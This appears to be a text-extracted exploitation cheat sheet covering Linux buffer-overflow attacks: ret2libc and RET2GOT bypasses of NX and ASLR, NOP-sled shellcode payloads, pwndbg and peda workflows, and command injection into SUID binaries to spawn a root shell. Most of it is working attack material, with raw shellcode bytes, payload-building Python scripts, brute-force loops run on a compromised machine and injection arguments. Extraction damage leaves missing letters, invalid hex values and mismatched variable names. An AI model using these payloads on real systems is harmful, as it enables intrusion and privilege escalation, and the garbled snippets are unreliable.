A little bit of Basics
#Always use [struct] module from python to
evaluat expressions according to the little endian.
An example is below to evaluate [0x80002 0] in
little endian. This is becauase values are written
into memory in reverse byte order
python -c 'from struct import pack; pack("
<L",0x80002ff0)'
Output : \xf0\x2f\x00\x80
#Checking if the binary has protections
root@kali:checksec –file=[name]
if output shows NX is disabled then this means no
protections
#Check if ASLR is enabled on target machine
cat /proc/sys/kernel/randomize_va_space
0 : means ASLR Disabled.
1: means enabled.
2: means enabled.
#NX is a kind of protection where executing code
in the stack is prohibited.
#ASLR is a kind of protection that randomizes
memory addresses.
#Use [r.interactive()] at the end of every exploit
script you create incase you didn't receive a shell.
[r.interactive()] returns control in the terminal.
If you experience problems while you are trying to
catch the shell after exploiting bu er over ow
then it likely means rewall is preventing egress
connection from the target machine to yours.
Change your shell code payload to the one below
shellcode[]=
"\x6a\x02\x5b\x6a\x29\x58\xcd\x80\x48\x89\
xc6"
"\x31\xc9\x56\x5b\x6a\x3f\x58\xcd\x80\x41\
x80"
"\xf9\x03\x75\xf5\x6a\x0b\x58\x99\x52\x31\
xf6"
"\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\
x6e"
"\x89\xe3\x31\xc9\xcd\x80";
Source [https://www.exploit-
db.com/exploits/34060]
Exploiting Buffer ovewflow when
NX is enabled usin ret2libc
#Start the binary with gdb
Gdb -q ./[name]
#Viewing the main code
Gdb-peda$:pdisass main
#Generating a pattern
Gdb-peda$:Pattern_create 500
#Next Run the pattern against the binary to see
how many bytes required to overwrite the EIP
r '[pattern]'
OR
Gdb-peda$:run ‘pattern’
#After that, when you hit a segmantation fault
take a note of the [EIP]. We will assume it's
[0x41384142].
#Next we nd after how many bytes the
application breaks hence we need to nd the o set
pattern_offset 0x41384142
Take a note of the o set you found. Say it's [110] it
means the application breaks after [110] bytes.
#In order to get a shell, we need to nd couple
addresses such as [system] and [/bin/sh] in
addition to [exit]
Gdb-peda$:p system
#Take note of the address. Say it's at
[0xb759c320]
For [/bin/sh] we add random data to system to
reveal its address
find 0xb759c320, +9939401, "/bin/sh"
#Take a note of the address in output. Say it's
[0x76beb9e]
You can verify its indeed for [/bin/sh] by running
below command in gdb
x/s 0x76beb9e
Alternative way to nd the address of [/bin/sh]
On the target vulnerable machine, we store
[/bin/sh] in an environment variable called
[shellcode]
export shellcode=/bin/sh
echo shellcode
And then with a simple C program below we can
nd the address
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char **argv)
{
char *ptr = getenv("shellcode");
if (ptr != NULL)
{
printf("/bin/sh address:
%p\n", ptr);
return 0;
}
}
Compile the code
gcc address-finder.c address-finder
And run
./address-finder
It should give you the address.
Another Alternative way to nd the address of
[/bin/sh]
On the target machine, we nd the o set of
[/bin/sh] in [libc] using the string command.
strings -a -t x /lib/i386-linux-
gnu/libc.so.6 | grep /bin/sh
Say the o set is [0x0015ba2a]
Next you need the address of [libc] which you can
get by running [ldd] against the binary
ldd [binary-name]
Say it's [0xb7e12000] then the nal [/bin/sh]
address is
libc address + o set of [/bin/sh]
**0xb7e12000+x0015ba2a = 0xb7d72a2a
#For the [exit] address, we can nd it same as we
did for [system].
Gdb-peda$:p exit
Say it's [0xb758f234]
#Lastly , we create a small script that contains all
those values and send it in little endian format
while true;
do /usr/local/bin/ovrflw $(python -c
'print "A" * [offset]+ "System + Exit +
/bin/sh" ');
done
Another way of creating the script using [struct]
import struct
buf = "A" * 80
system = struct.pack("I" ,0xb759c320)
exit = struct.pack("I" ,0xb758f234)
shell = struct.pack("I" ,0x76beb9e)
print buff + system + exit + shell
Run the script and pipe the output to the
vulnerable program.
Note: if you get an error such as
sh: 6: not found
This means that the address of [/bin/sh] is not
exact and you need to go up and down with the
address. For example, the address we have in this
scenario is [0x76beb9e] all you have to do is to add
increments or decrements to the address untill
you get the right one.
Side Note
In the above method, sometimes you may need to
nd the address of [execl] instead of [system]. The
reasons is sometimes you run out of virtual
memory which makes the exploit fails. In that case
use [execl] instead.
Exploiting without ASLR and
binary protections.
With gdb+peda
#Start the binary with gdb
Gdb -q ./[name]
#Viewing the main code
Gdb-peda$:pdisass main
#Generating a pattern
Gdb-peda$:Pattern_create 500
#Running the pattern against the binary
Gdb-peda$:run ‘pattern’
OR you can generate the pattern with python if
you don't have [peda]
(gdb) run $(python -c 'print "A"*500')
OR You can again generate a pattern with [MSF]
/usr/share/metasploit-
framework/tools/exploit/pattern_create.rb
-l 500
#Note down the value at the EIP and feed it to
pattern_o set to nd the o set
Gdb-peda$:pattern_offset [value]
Alternatively, you can nd the o set with [MSF]
/usr/share/metasploit-
framework/tools/exploit/pattern_create.rb
-l 500 -q [value-at-EIP]
#In this step, we use a shellcode that spawns
[/bin/sh] and send it to the program as part of the
script below.
We also use [nop] which let the cpu do nothing to
prevent the execution from failing.
The purpose of the script below is to send our
shellcode and write 4 [Bs] in order to understand
and nd where will be the address of our
shellcode.
buf_size=[offset-found-from-above]
shell_code =
"\x31\xc0\x50\x68\x2f\x2f\x73"
shell_code +=
"\x68\x68\x2f\x62\x69\x6e\x89"
shell_code +=
"\xe3\x89\xc1\x89\xc2\xb0\x0b"
shell_code +=
"\xcd\x80\x31\xc0\x40\xcd\x80";
nop_sled = "\x90"*(buf_size-
len(shell_code))
eip = "B" * 4
payload = nop_sled + shell_code + eip
print payload
Gdb-peda$:run $(python shell.py)
Gdb-peda$: x/500x $esp-500 : examining the
esp
#Here we look where our [shellcode] starts in
memory. To make things easier, look where is the
last occurenace of [x90] and mark the
corresponding memory address. It will be the
address of your [shellcode]. But to make this work,
we can pick up any address in the mids of [x90].
Say it's [0xb 550]
Updating the script:
buf_size=[offset-found-from-above]
shell_code =
"\x31\xc0\x50\x68\x2f\x2f\x73"
shell_code +=
"\x68\x68\x2f\x62\x69\x6e\x89"
shell_code +=
"\xe3\x89\xc1\x89\xc2\xb0\x0b"
shell_code +=
"\xcd\x80\x31\xc0\x40\xcd\x80";
nop_sled = "\x90"*(buf_size-
len(shell_code))
eip = "\xb0\xf7\xff\xbf" #0xbffff550
payload = nop_sled + shell_code + eip
print payload
Gdb-peda$:run $(python shell.py)
And wait for the shell.
Using pwndbg to exploit BOF
#Installation
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh
#Now when you run gdb it will be poped there by
default.
A typical scenario is when you have a binary say it
was [bof]
First we run it with [gdb]
gdb bof
#Assuming the binary crashes if we provide
input more than [30] characters, we can generate a
cyclic input of [50] characters to crash the
application
r < <(cyclic 50)
#Take a note of the address of [EIP]. Say it crashed
at [0x6161616b].
The next step is to nd how many characters are
needed before we overwrite the [EIP]. This
corresponds with nding the o set if you are
using [gdb] alone or with [peda].
cyclic -l 0x6161616b
#Assume the number of characters in the output
was [45]. This means after [45] characters we can
write our own payload and make EIP execute it.
Now from here you can either pick-up a shell code
that spawns a shell
"\x31\xc0\x31\xdb\xb0\x06\xcd\x80"
"\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\
xb9\x12\x27\xb0\x05\xcd\x80"
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\
x53\x89\xe1\x99\xb0\x0b\xcd\x80"
#And if you want to use it inside a script, then
use below
shell_code =
"\x31\xc0\x50\x68\x2f\x2f\x73"
shell_code +=
"\x68\x68\x2f\x62\x69\x6e\x89"
shell_code +=
"\xe3\x89\xc1\x89\xc2\xb0\x0b"
shell_code +=
"\xcd\x80\x31\xc0\x40\xcd\x80";
#then you can send a payload constituting of
[nop] + [shellcode] + [address of the eip where its
overwritten with your pattern (As) or (Bs)]. See
examples from the previous sections.
#OR you can change the execution ow of the
program to another function. Say the binary you
are exploiting has a function that let you spawn a
shell. Call the function [shell].
By nding the address of the function, you can add
it to a pattern and change the exection.
Finding the address of the [shell] function.
gdb: dissassemble shell
This will give you an assembly code of the
function. Pick the rst address. Assume it's
[0x080484cd].
Then your nal payload is
payload = pattern + 0x080484cd
example:
payload = python -c 'print "B"*45 +
"\xcd\x84\x04\x08"'
Send this payload to the binary by piping the its
output to the binary
python -c 'print "B"*45 +
"\xcd\x84\x04\x08"' | BOF
After this, the binary will execute whatever the
[shell] function was supposed to do hence you
changed program execution using Bu erOver ow.
Using BOF to control global
variables in a program
This is a case where you have the source code of a
program. The program has variables de ned with
di erent values and they are involved in a process
to perform a speci c function such as
authentication or input validation.
There will be times where in order to gain shell,
you have rst to bypass the progam mechanism of
working such as a required authentication or input
validation.
Here it comes the importance of controlling
registers such as [EBX], [EAX] and [ECX].
In some cases and spe cially when [NX] and [PIE]
are enabled, these registers are used to referrence
global variables. So by controlling these registers
using an over ow you can control the value of the
global variables used for the authentication or
input validation function.
RET2GOT BOF when NX and ASLR
protections are enabled. [ldd]
To perform the RET2GOT technique, we have the
nd couple addresses. The below commands are to
be issued on the compromised machine
Find libc address
ldd [path to bof binary]
Find libc system function:
readelf -s /lib32/libc.so.6 | grep system
Find libc exit function
readelf -s /lib32/libc.so.6 | grep exit
Find libc /bin/sh reference
strings -a -t x /lib32/libc.so.6 | grep
/bin/sh
Then we can use a script like below and execute on
the target machine
import struct, subprocess
libc = 0xf75e2000
sysOffset = 0x0003a940
sysAddress = libc + sysOffset
exitOffset = 0x0002e7b0
exitAddress = libc + exitOffset
binsh = libc + 0x0015900b
bofshell = "A" * 512
bofshell += struct.pack("<I",sysAddress)
bofshell += struct.pack("<I",exitAddress)
bofshell += struct.pack("<I",binsh)
trials = 0
while True:
trials += 1
print "Trying: " + trials
subprocess.call(["[path-to-binary]","-i",
"3de811f4ab2b7543eaf45df611c2dd2541a5fc5af
601772638b81dce6852d110", bofshell])
RET2GOT BOF when NX and ASLR
protections are enabled. Radar2
We follow the same methodology as above but
using radar2 we can nd the addresses of [system]
[exit] and [/bin/sh]
aa
fs imports; f
fs strings; f
If you couldn't nd the address of [/bin/sh] using
[radar2] then you can issue the below command on
the target machine
strings -a -t x /lib32/libc.so.6 | grep
/bin/sh
Lastly your payload is a oneliner. Make sure to
know how many bytes are needed to cause
segmentation fault. In the below example it's
[600].
Also my values were
system address = 0x040584y8
exit address =0x090287b0
/bin/sh = 0x010293d4
The nal payload:
$(python2 -c
'print("A"*600+"\xy8\x84\x05\x04"+"\xb0\x8
7\x02\x09"+"\xd4\x93\x02\x01")')
You can pass it as an argument to the binary.
Exploiting binaries that have SUID
bit [s]
First we check if the binary is listed in the below
website
https://gtfobins.github.io/
If it's not then we can follow the below checklist
Checking system calls
we use [ltrace] to checkout the libraries and system
calls in the applications. This reveals insights on
how the application using passing its arguments
and how system calls are being made. Sometimes
hardcoded credentials can be found.
ltrace [path-to-binary]
Use radar2 and print a visual
represntation of the code
cases
case [1] The binary passes one of its
arguments to [system]
In this case, command injection is highly possible.
We try to pass system commands in place of the
argument being passed to [system()]. For example,
a binary that performs backup and passes the
argument,thattakes in the source directory, to
system(). #EX
./backup [path-to-directory]
We can execute sys commands in the argument as
below. This will give and call [/bin/sh]
./backup "$(printf '\n/bin/sh\necho OK')"
[OR]
./backup $'\n /bin/sh \n echo OK'
[OR]
./backup "bash #"
Resources
Shellcodes database
http://shell-storm.org/shellcode/
Ready /bin/sh Shellcode
https://www.exploit-db.com/exploits/13357
